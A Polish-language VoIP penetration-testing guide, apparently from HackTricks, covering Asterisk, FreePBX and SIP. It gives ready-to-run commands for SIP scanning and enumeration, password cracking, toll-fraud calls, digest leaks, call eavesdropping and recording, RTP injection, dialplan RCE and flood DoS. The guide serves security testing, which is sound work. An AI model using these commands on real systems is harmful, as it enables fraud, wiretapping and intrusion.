.. | ||
basic-voip-protocols | ||
README.md |
Testowanie penetracyjne VoIP
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCJI!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do HackTricks i HackTricks Cloud repozytoriów GitHub.
Podstawowe informacje o VoIP
Aby zacząć uczyć się, jak działa VoIP, sprawdź:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
Wyliczanie VoIP
Numery telefonów
Jednym z pierwszych kroków, które może podjąć Red Team, jest wyszukiwanie dostępnych numerów telefonów do kontaktu z firmą za pomocą narzędzi OSINT, wyszukiwarek Google lub przeszukiwania stron internetowych.
Po uzyskaniu numerów telefonów można użyć usług online do identyfikacji operatora:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
Dzięki informacji, czy operator świadczy usługi VoIP, można zidentyfikować, czy firma korzysta z VoIP... Ponadto możliwe jest, że firma nie zatrudniła usług VoIP, ale korzysta z kart PSTN do podłączenia własnej centrali VoIP do tradycyjnej sieci telefonicznej.
Rzeczy takie jak automatyczne odpowiedzi lub muzyka zwykle wskazują na korzystanie z VoIP.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
Informacje OSINT
Jakiekolwiek inne narzędzia OSINT, które pomogą zidentyfikować używane oprogramowanie VoIP, będą przydatne dla Red Teamu.
Wyliczanie sieci
nmap
jest zdolny do skanowania usług UDP, ale ze względu na ilość skanowanych usług UDP, jest bardzo wolny i może nie być zbyt dokładny w przypadku tego rodzaju usług.svmap
z SIPVicious (sudo apt install sipvicious
): Zlokalizuje usługi SIP w podanej sieci.svmap
jest łatwy do zablokowania, ponieważ używa User-Agentafriendly-scanner
, ale można zmodyfikować kod z/usr/share/sipvicious/sipvicious
i go zmienić.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
sipscan.py
z sippts: Sipscan to bardzo szybkie narzędzie do skanowania usług SIP przez UDP, TCP lub TLS. Wykorzystuje wielowątkowość i może skanować duże zakresy sieci. Pozwala łatwo określić zakres portów, skanować zarówno TCP, jak i UDP, używać innej metody (domyślnie używa OPTIONS) oraz określać inny User-Agent (i więcej).
./sipscan.py -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
Metasploit jest jednym z najpopularniejszych narzędzi do testowania penetracyjnego, które jest szeroko stosowane w środowiskach VoIP. Metasploit zapewnia wiele modułów i exploitów, które mogą być wykorzystane do atakowania i testowania zabezpieczeń systemów VoIP. Narzędzie to umożliwia również automatyzację procesu testowania penetracyjnego, co przyspiesza proces identyfikacji podatności i ich wykorzystania. Metasploit jest niezwykle potężnym narzędziem, które może być wykorzystane zarówno przez hakerów, jak i przez profesjonalistów ds. bezpieczeństwa do testowania i zabezpieczania systemów VoIP.
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Dodatkowe wyliczanie sieciowe
PBX może również ujawniać inne usługi sieciowe, takie jak:
- 69/UDP (TFTP): Aktualizacje oprogramowania
- 80 (HTTP) / 443 (HTTPS): Zarządzanie urządzeniem za pomocą sieci
- 389 (LDAP): Alternatywne przechowywanie informacji o użytkownikach
- 3306 (MySQL): Baza danych MySQL
- 5038 (Manager): Umożliwia korzystanie z Asterisk z innych platform
- 5222 (XMPP): Wiadomości za pomocą Jabbera
- 5432 (PostgreSQL): Baza danych PostgreSQL
- I inne...
Wyliczanie metod
Można znaleźć dostępne metody do użycia w PBX za pomocą sipenumerate.py
z sippts
python3 sipenumerate.py -i 10.10.0.10 -r 5080
Wyliczanie rozszerzeń
Rozszerzenia w systemie PBX (Private Branch Exchange) odnoszą się do unikalnych wewnętrznych identyfikatorów przypisanych do poszczególnych linii telefonicznych, urządzeń lub użytkowników w organizacji lub firmie. Rozszerzenia umożliwiają efektywne przekierowywanie połączeń wewnątrz organizacji, bez konieczności posiadania indywidualnych zewnętrznych numerów telefonów dla każdego użytkownika lub urządzenia.
svwar
z SIPVicious (sudo apt install sipvicious
):svwar
to darmowe narzędzie do skanowania linii rozszerzeń SIP PBX. W koncepcji działa podobnie do tradycyjnych wardialerów, próbuje zgadywać zakres rozszerzeń lub podaną listę rozszerzeń.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
sipextend.py
z sippts: Sipexten identyfikuje rozszerzenia na serwerze SIP. Sipexten może sprawdzać duże sieci i zakresy portów.
python3 sipexten.py -i 10.10.0.10 -r 5080 -e 100-200
- metasploit: Możesz również wyliczać rozszerzenia/nazwy użytkowników za pomocą metasploita:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX to narzędzie do przełamywania haseł metodą brute-force dla protokołu Inter Asterisk Exchange (IAX). enumIAX może działać w dwóch różnych trybach: Sekwencyjne Próby Odgadywania Nazwy Użytkownika lub Atak Słownikowy.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
Ataki na VoIP
Brute Force hasła
Po odkryciu PBX i niektórych rozszerzeń/nazw użytkowników, Zespół Czerwony może spróbować uwierzytelnić się za pomocą metody REGISTER
do rozszerzenia, używając słownika popularnych haseł do przeprowadzenia ataku brute force na uwierzytelnienie.
{% hint style="danger" %} Należy zauważyć, że nazwa użytkownika może być taka sama jak rozszerzenie, ale ta praktyka może się różnić w zależności od systemu PBX, jego konfiguracji i preferencji organizacji...
Jeśli nazwa użytkownika nie jest taka sama jak rozszerzenie, będziesz musiał ustalić nazwę użytkownika, aby przeprowadzić atak brute force. {% endhint %}
svcrack
z SIPVicious (sudo apt install sipvicious
): SVCrack pozwala na złamanie hasła dla określonej nazwy użytkownika/rozszerzenia na PBX.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
sipcrack.py
z sippts: SIP Digest Crack to narzędzie do łamania uwierzytelnienia Digest w protokole SIP.
{% code overflow="wrap" %}
python3 siprcrack.py -i 10.10.0.10 -r 5080 -e 100,101,103-105 -w wordlist/rockyou.txt
{% endcode %}
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
Podsłuchiwanie VoIP
Jeśli znajdziesz sprzęt VoIP w otwartej sieci Wi-Fi, możesz podsluchać wszystkie informacje. Ponadto, jeśli jesteś w bardziej zamkniętej sieci (podłączony przez Ethernet lub chronioną sieć Wi-Fi), możesz przeprowadzić ataki MitM, takie jak ARPspoofing między PBX a bramką w celu podsłuchiwania informacji.
Wśród informacji sieciowych możesz znaleźć dane uwierzytelniające do zarządzania sprzętem, rozszerzenia użytkowników, nazwy użytkowników, adresy IP, nawet zaszyfrowane hasła i pakiety RTP, które można odtworzyć, aby słuchać rozmowy, i wiele więcej.
Aby uzyskać te informacje, możesz użyć narzędzi takich jak Wireshark, tcpdump... ale specjalnie stworzone narzędzie do podsłuchiwania rozmów VoIP to ucsniff.
{% hint style="danger" %}
Zauważ, że jeśli w komunikacji SIP używane jest TLS, nie będziesz w stanie zobaczyć komunikacji SIP w czystej postaci.
To samo będzie miało miejsce, jeśli używane są SRTP i ZRTP, pakiety RTP nie będą w czystym tekście.
{% endhint %}
Dane uwierzytelniające SIP
Sprawdź ten przykład, aby lepiej zrozumieć komunikację SIP REGISTER i dowiedz się, jak są wysyłane dane uwierzytelniające.
sipdump
&sipcrack
, część sipcrack (apt-get install sipcrack
): Te narzędzia mogą wydobyć z pcap uwierzytelnienia digest w protokole SIP i przeprowadzić atak bruteforce na nie.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
siptshar.py
,sipdump.py
,sipcrack.py
z sippts:- SipTshark wyodrębnia dane protokołu SIP z pliku PCAP.
- SipDump wyodrębnia uwierzytelnienia SIP Digest z pliku PCAP.
- SIP Digest Crack to narzędzie do łamania uwierzytelnienia Digest w protokole SIP.
python3 siptshark.py -f captura3.pcap [-filter auth]
python3 sipdump.py -f captura3.pcap -o data.txt
python3 sipcrack.py -f data.txt -w wordlist/rockyou.txt
Kody DTMF
Nie tylko dane uwierzytelniające SIP mogą być znalezione w ruchu sieciowym, możliwe jest również znalezienie kodów DTMF, które są używane na przykład do dostępu do poczty głosowej.
Możliwe jest wysłanie tych kodów w wiadomościach SIP INFO, w formacie audio lub wewnątrz pakietów RTP. Jeśli kody znajdują się w pakietach RTP, można je wyciąć z tej części rozmowy i użyć narzędzia multimo do ich wyodrębnienia:
multimon -a DTMF -t wac pin.wav
Darmowe połączenia / Błędy konfiguracji połączeń Asterisk
W Asterisku istnieje możliwość zezwolenia na połączenie z określonego adresu IP lub z dowolnego adresu IP:
host=10.10.10.10
host=dynamic
Jeśli podany jest adres IP, host nie będzie musiał wysyłać żądań REGISTER co jakiś czas (w pakiecie REGISTER wysyłany jest czas życia, zazwyczaj 30 minut, co oznacza, że w innym scenariuszu telefon będzie musiał się REJESTROWAĆ co 30 minut). Jednakże, musi mieć otwarte porty umożliwiające połączenia z serwerem VoIP w celu odbierania połączeń.
Aby zdefiniować użytkowników, można ich zdefiniować jako:
type=user
: Użytkownik może tylko odbierać połączenia jako użytkownik.type=friend
: Możliwe jest wykonywanie połączeń jako peer i odbieranie ich jako użytkownik (używane z rozszerzeniami).type=peer
: Możliwe jest wysyłanie i odbieranie połączeń jako peer (SIP-trunks).
Możliwe jest również ustanowienie zaufania za pomocą zmiennej insecure:
insecure=port
: Umożliwia połączenia peer, które są uwierzytelniane przez IP.insecure=invite
: Nie wymaga uwierzytelniania dla wiadomości INVITE.insecure=port,invite
: Oba.
{% hint style="warning" %}
Kiedy używane jest type=friend
, wartość zmiennej host nie będzie używana, więc jeśli administrator błędnie skonfiguruje SIP-trunk używając tej wartości, każdy będzie mógł się do niego podłączyć.
Na przykład, taka konfiguracja byłaby podatna na ataki:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
Darmowe połączenia / Błędy konfiguracji kontekstu w Asterisk
W Asterisku kontekst to nazwany kontener lub sekcja w planie wybierania, który grupuje powiązane rozszerzenia, akcje i reguły. Plan wybierania jest podstawowym komponentem systemu Asterisk, ponieważ definiuje sposób obsługi i kierowania przychodzących i wychodzących połączeń. Konteksty są używane do organizacji planu wybierania, zarządzania kontrolą dostępu i zapewnienia separacji między różnymi częściami systemu.
Każdy kontekst jest zdefiniowany w pliku konfiguracyjnym, zwykle w pliku extensions.conf
. Konteksty są oznaczane przez nawiasy kwadratowe, a nazwa kontekstu jest zamknięta w nich. Na przykład:
csharpCopy code[my_context]
W kontekście definiuje się rozszerzenia (wzorce numerów wybieranych) i przypisuje im szereg działań lub aplikacji. Te działania określają, w jaki sposób jest przetwarzane połączenie. Na przykład:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
Ten przykład przedstawia prosty kontekst o nazwie "my_context" z rozszerzeniem "100". Gdy ktoś wybierze numer 100, połączenie zostanie odebrane, odtworzony zostanie komunikat powitalny, a następnie połączenie zostanie zakończone.
To jest inny kontekst, który umożliwia wybieranie dowolnego innego numeru:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
Jeśli administrator definiuje domyślny kontekst jako:
[default]
include => my_context
include => external
{% hint style="warning" %} Każdy będzie mógł używać serwera do dzwonienia na dowolny numer (a administrator serwera będzie płacił za połączenie). {% endhint %}
{% hint style="danger" %}
Co więcej, domyślnie plik sip.conf
zawiera allowguest=true
, więc dowolny atakujący bez uwierzytelnienia będzie mógł dzwonić na dowolny numer.
{% endhint %}
sipinvite.py
z sippts: Sipinvite sprawdza, czy serwer PBX pozwala nam na wykonywanie połączeń bez uwierzytelnienia. Jeśli serwer SIP ma nieprawidłową konfigurację, pozwoli nam na wykonywanie połączeń do zewnętrznych numerów. Może również umożliwić nam przekierowanie połączenia na drugi zewnętrzny numer.
Na przykład, jeśli twój serwer Asterisk ma złą konfigurację kontekstu, możesz akceptować żądania INVITE bez autoryzacji. W tym przypadku atakujący może dzwonić, nie znając żadnego użytkownika/hasła.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
python3 sipinvite.py -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
python3 sipinvite.py -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
Darmowe połączenia / Źle skonfigurowane IVRS
IVRS oznacza Interactive Voice Response System, technologię telefoniczną, która umożliwia użytkownikom interakcję z zautomatyzowanym systemem za pomocą głosu lub klawiszy. IVRS służy do budowy automatycznych systemów obsługi połączeń, które oferują różne funkcje, takie jak udzielanie informacji, kierowanie połączeń i zbieranie danych od użytkowników.
Typowy system IVRS w systemach VoIP składa się z:
- Komunikatów głosowych: Wstępnie nagranych wiadomości audio, które prowadzą użytkowników przez opcje i instrukcje menu IVR.
- Sygnalizacji DTMF (Dual-Tone Multi-Frequency): Sygnały generowane przez naciśnięcie klawiszy na telefonie, które służą do nawigacji po menu IVR i wprowadzania danych.
- Kierowania połączeń: Przekierowywanie połączeń do odpowiedniego miejsca, takiego jak konkretne działy, agenci lub numery wewnętrzne, na podstawie danych wprowadzonych przez użytkownika.
- Zbierania danych od użytkowników: Pobieranie informacji od dzwoniących, takich jak numery kont, identyfikatory spraw lub inne istotne dane.
- Integracji z systemami zewnętrznymi: Połączenie systemu IVR z bazami danych lub innymi systemami oprogramowania w celu uzyskiwania dostępu do informacji, aktualizacji danych, wykonywania działań lub wywoływania zdarzeń.
W systemie Asterisk VoIP można utworzyć IVR za pomocą planu wybierania (plik extensions.conf
) i różnych aplikacji, takich jak Background()
, Playback()
, Read()
i inne. Te aplikacje umożliwiają odtwarzanie komunikatów głosowych, zbieranie danych od użytkowników i kontrolowanie przepływu połączenia.
Przykład podatnej konfiguracji
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
Poprzedni przykład pokazuje, że użytkownik jest proszony o naciśnięcie 1, aby zadzwonić do jednego działu, 2, aby zadzwonić do innego działu, lub pełny numer wewnętrzny, jeśli go zna.
Podatność polega na tym, że nie jest sprawdzana długość podanego numeru wewnętrznego, więc użytkownik może wprowadzić pełny numer wewnętrzny w czasie 5 sekund i zostanie on wybrany.
Wstrzyknięcie numeru wewnętrznego
Używając numeru wewnętrznego, takiego jak:
exten => _X.,1,Dial(SIP/${EXTEN})
Gdzie ${EXTEN}
to numer wewnętrzny, który zostanie wybrany, gdy zostanie wprowadzone ext 101, oto co by się stało:
exten => 101,1,Dial(SIP/101)
Jednakże, jeśli ${EXTEN}
pozwala na wprowadzanie czegoś innego niż liczby (jak w starszych wersjach Asteriska), atakujący mógłby wprowadzić 101&SIP123123123
aby zadzwonić pod numer telefonu 123123123. A to byłby wynik:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
Dlatego też, połączenie do rozszerzenia 101
i 123123123
zostanie wysłane i tylko pierwsze z nich, które otrzyma połączenie, zostanie nawiązane... ale jeśli atakujący użyje rozszerzenia, które omija dopasowanie i nie istnieje, może wstrzyknąć połączenie tylko do wybranego numeru.
SIPDigestLeak
SIP Digest Leak to podatność, która dotyczy dużej liczby telefonów SIP, w tym zarówno sprzętowych, jak i oprogramowania IP, a także adapterów telefonicznych (VoIP do analogowego). Podatność ta umożliwia wyciek odpowiedzi uwierzytelniania Digest, która jest obliczana na podstawie hasła. Następnie możliwy jest atak offline na hasło, który pozwala odzyskać większość haseł na podstawie odpowiedzi na wyzwanie.
**Scenariusz podatności odnajdziesz tutaj**:
- Telefon IP (ofiara) nasłuchuje na porcie 5060 i akceptuje połączenia telefoniczne.
- Atakujący wysyła INVITE do telefonu IP.
- Telefon ofiary zaczyna dzwonić, a ktoś odbiera i rozłącza się (ponieważ nikt nie odbiera telefonu po drugiej stronie).
- Po rozłączeniu telefon ofiary wysyła BYE do atakującego.
- Atakujący wysyła odpowiedź 407, która wymaga uwierzytelnienia i wywołuje wyzwanie uwierzytelniania.
- Telefon ofiary odpowiada na wyzwanie uwierzytelniania w drugim BYE.
- Atakujący może wtedy przeprowadzić atak brute-force na odpowiedź na wyzwanie na swoim lokalnym komputerze (lub w sieci rozproszonej itp.) i zgadnąć hasło.
- sipdigestleak.py z sippts: SipDigestLeak wykorzystuje tę podatność.
python3 sipdigestleak.py -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call umożliwia użytkownikowi sieci web (który na przykład może być zainteresowany produktem) wprowadzenie swojego numeru telefonu w celu otrzymania połączenia. Następnie zostanie wykonane połączenie z reklamą, a gdy użytkownik odezwie się przez telefon, zostanie połączony z agentem.
Wspólny profil Asterisk dla tego celu to:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- Poprzedni profil umożliwia POŁĄCZENIE Z KAŻDYM ADRESEM IP (jeśli znane jest hasło).
- Aby zorganizować połączenie, jak wcześniej określono, nie jest wymagane uprawnienie do odczytu, a jedynie uprawnienie do tworzenia w trybie zapisu.
Z tymi uprawnieniami każde IP, znając hasło, mogłoby się połączyć i wydobyć zbyt wiele informacji, takich jak:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
Więcej informacji lub działań może być wymaganych.
Podsluchiwanie
W Asterisku możliwe jest użycie polecenia ChanSpy
, wskazującego rozszerzenie(y) do monitorowania (lub wszystkie), aby podsłuchać rozmowy, które się odbywają. To polecenie musi być przypisane do rozszerzenia.
Na przykład, exten => 333,1,ChanSpy('all',qb)
oznacza, że jeśli zadzwonisz na rozszerzenie 333, będzie ono monitorować wszystkie
rozszerzenia, rozpoczynając nasłuchiwanie za każdym razem, gdy rozpocznie się nowa rozmowa (b
) w trybie cichym (q
), ponieważ nie chcemy na nią wpływać. Możesz przejść z jednej trwającej rozmowy do drugiej, naciskając *
, lub oznaczając numer rozszerzenia.
Możliwe jest również użycie ExtenSpy
, aby monitorować tylko jedno rozszerzenie.
Zamiast słuchać rozmów, można je nagrywać w plikach za pomocą rozszerzenia, takiego jak:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
Połączenia zostaną zapisane w /tmp
.
Możesz nawet zmusić Asterisk do wykonania skryptu, który ujawni połączenie po jego zamknięciu.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed
RTCPBleed to poważny problem związany z bezpieczeństwem, który dotyczy serwerów VoIP opartych na Asterisku (opublikowany w 2017 roku). Podatność ta umożliwia przechwycenie i przekierowanie ruchu RTP (Real Time Protocol), który przenosi rozmowy VoIP, przez dowolną osobę w Internecie. Dzieje się tak, ponieważ ruch RTP omija uwierzytelnianie podczas przechodzenia przez zapory NAT (Network Address Translation).
Proksy RTP próbują rozwiązać ograniczenia NAT wpływające na systemy RTC, przekazując strumienie RTP między dwiema lub więcej stronami. Gdy NAT jest w użyciu, oprogramowanie proxy RTP często nie może polegać na informacjach o adresie IP i porcie RTP pobranych za pomocą sygnalizacji (np. SIP). Dlatego wiele proxy RTP wprowadziło mechanizm, w którym takie krotki IP i portu są automatycznie poznawane. Często jest to realizowane poprzez analizę przychodzącego ruchu RTP i oznaczanie adresu IP i portu źródłowego dla każdego przychodzącego ruchu RTP jako adresu, na który należy odpowiedzieć. Ten mechanizm, który może być nazywany "trybem nauki", nie wykorzystuje żadnej formy uwierzytelniania. Dlatego atakujący mogą wysyłać ruch RTP do proxy RTP i otrzymywać ruch RTP przekazywany do prawowitych użytkowników rozmowy RTP. Nazywamy tę podatność RTP Bleed, ponieważ umożliwia atakującym otrzymywanie strumieni multimedialnych RTP, które są przeznaczone dla prawowitych użytkowników.
Innym interesującym zachowaniem proxy RTP i stosów RTP jest to, że czasami, nawet jeśli nie są podatne na RTP Bleed, akceptują, przekazują i/lub przetwarzają pakiety RTP z dowolnego źródła. Dlatego atakujący mogą wysyłać pakiety RTP, które pozwalają im wstrzykiwać swoje dane multimedialne zamiast prawowitych. Nazywamy ten atak wstrzykiwaniem RTP, ponieważ umożliwia wstrzykiwanie nieprawowitych pakietów RTP do istniejących strumieni RTP. Ta podatność może występować zarówno w proxy RTP, jak i w punktach końcowych.
Asterisk i FreePBX tradycyjnie używają ustawienia NAT=yes
, które umożliwia omijanie uwierzytelniania ruchu RTP, co potencjalnie prowadzi do braku dźwięku lub jednostronnego dźwięku podczas rozmów.
Więcej informacji można znaleźć na stronie https://www.rtpbleed.com/
rtpbleed.py
z sippts: Wykrywa podatność RTP Bleed, wysyłając strumienie RTP.
python3 rtpbleed.py -i 10.10.0.10
rtcpbleed.py
z sippts: Wykrywa podatność na wyciek RTP, wysyłając strumienie RTP
python3 rtcpbleed.py -i 10.10.0.10
rtpbleedflood.py
z sippts: Wykorzystuje podatność RTP Bleed, wysyłając strumienie RTP
python3 rtpbleedflood.py -i 10.10.0.10 -p 10070 -v
rtpbleedinject.py
z sippts: Wykorzystuje podatność RTP Bleed, wysyłając strumienie RTP (z pliku audio)
python3 rtpbleedinject.py -i 10.10.0.10 -p 10070 -f audio.wav
RCE
W Asterisku w jakiś sposób udaje ci się dodać reguły rozszerzeń i je przeładować (na przykład poprzez skompromitowanie podatnego serwera zarządzającego siecią), możliwe jest uzyskanie RCE za pomocą polecenia System
.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
Istnieje polecenie o nazwie Shell
, które można użyć zamiast System
do wykonania poleceń systemowych, jeśli jest to konieczne.
{% hint style="warning" %}
Jeśli serwer nie zezwala na użycie pewnych znaków w poleceniu System
(jak w przypadku Elastix), sprawdź, czy serwer sieciowy pozwala na tworzenie plików w systemie (jak w przypadku Elastix lub trixbox) i użyj go do utworzenia skryptu backdoor a następnie użyj System
do wykonania tego skryptu.
{% endhint %}
Interesujące lokalne pliki i uprawnienia
sip.conf
-> Zawiera hasło użytkowników SIP.- Jeśli serwer Asterisk działa jako root, można przejąć kontrolę nad rootem.
- Użytkownik root mysql może nie mieć hasła.
- Może to być wykorzystane do utworzenia nowego użytkownika mysql jako backdoor.
FreePBX
amportal.conf
-> Zawiera hasło administratora panelu sieciowego (FreePBX).FreePBX.conf
-> Zawiera hasło użytkownika FreePBXuser używane do dostępu do bazy danych.- Może to być wykorzystane do utworzenia nowego użytkownika mysql jako backdoor.
Elastix
Elastix.conf
-> Zawiera kilka haseł w postaci zwykłego tekstu, takich jak hasło root mysql, hasło IMAPd, hasło administratora sieciowego.- Kilka folderów będzie należeć do skompromitowanego użytkownika asterisk (jeśli nie działa jako root). Ten użytkownik może odczytywać wcześniejsze pliki i kontrolować konfigurację, więc może spowodować, że Asterisk załaduje inne binarne pliki backdoorowane podczas wykonywania.
Wstrzykiwanie RTP
Możliwe jest wstrzyknięcie pliku .wav
do rozmów za pomocą narzędzi takich jak rtpinsertsound
(sudo apt install rtpinsertsound
) i rtpmixsound
(sudo apt install rtpmixsound
).
Lub można użyć skryptów z http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/ do skanowania rozmów (rtpscan.pl
), wysyłania .wav
do rozmowy (rtpsend.pl
) i wstrzykiwania hałasu do rozmowy (rtpflood.pl
).
Ataki typu DoS
Istnieje kilka sposobów próby przeprowadzenia ataku typu DoS na serwery VoIP.
sipflood.py
z sippts**: **SipFlood wysyła nieograniczoną liczbę wiadomości do celupython3 sipflood.py -i 10.10.0.10 -r 5080 -m invite -v
- IAXFlooder: Atak DoS na protokół IAX używany przez Asterisk
- inviteflood: Narzędzie do przeprowadzania ataku typu SIP/SDP INVITE flooding za pomocą UDP/IP.
- rtpflood: Wysyła kilka poprawnie sformowanych pakietów RTP. Należy znać używane porty RTP (najpierw podsłuchać).
- SIPp: Pozwala na analizę i generowanie ruchu SIP. Może być również używane do ataków typu DoS.
- SIPsak: Szwajcarski nóż SIP. Może również być używany do przeprowadzania ataków typu SIP.
- Fuzzery: protos-sip, voiper.
sipsend.py
z sippts: SIPSend pozwala nam wysyłać niestandardowe wiadomości SIP i analizować odpowiedź.wssend.py
z sippts: WsSend pozwala nam wysyłać niestandardowe wiadomości SIP za pośrednictwem protokołu WebSockets i analizować odpowiedź.
Podatności systemowe
Najprostszym sposobem zainstalowania oprogramowania takiego jak Asterisk jest pobranie dystrybucji systemu operacyjnego, w którym jest on już zainstalowany, takich jak: FreePBX, Elastix, Trixbox... Problem z tymi dystrybucjami polega na tym, że po uruchomieniu administratorzy systemu mogą nie aktualizować ich ponownie, a z czasem zostaną odkryte podatności.
Odwołania
- https://github.com/Pepelux/sippts/wiki
- http://blog.pepelux.org/
- https://www.rtpbleed.com/
- https://medium.com/vartai-security/practical-voip-penetration-testing-a1791602e1b4
- https://resources.enablesecurity.com/resources/sipdigestleak-tut.pdf
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!
Inne sposoby wsparcia HackTricks:
- Jeśli chcesz zobaczyć swoją firmę reklamowaną w HackTricks lub pobrać HackTricks w formacie PDF, sprawdź PLAN SUBSKRYPCYJNY!
- Zdobądź oficjalne gadżety PEASS & HackTricks
- Odkryj Rodzinę PEASS, naszą kolekcję ekskluzywnych NFT
- Dołącz do 💬 grupy Discord lub grupy telegramowej lub śledź nas na Twitterze 🐦 @carlospolopm.
- Podziel się swoimi sztuczkami hakerskimi, przesyłając PR do HackTricks i HackTricks Cloud github repos.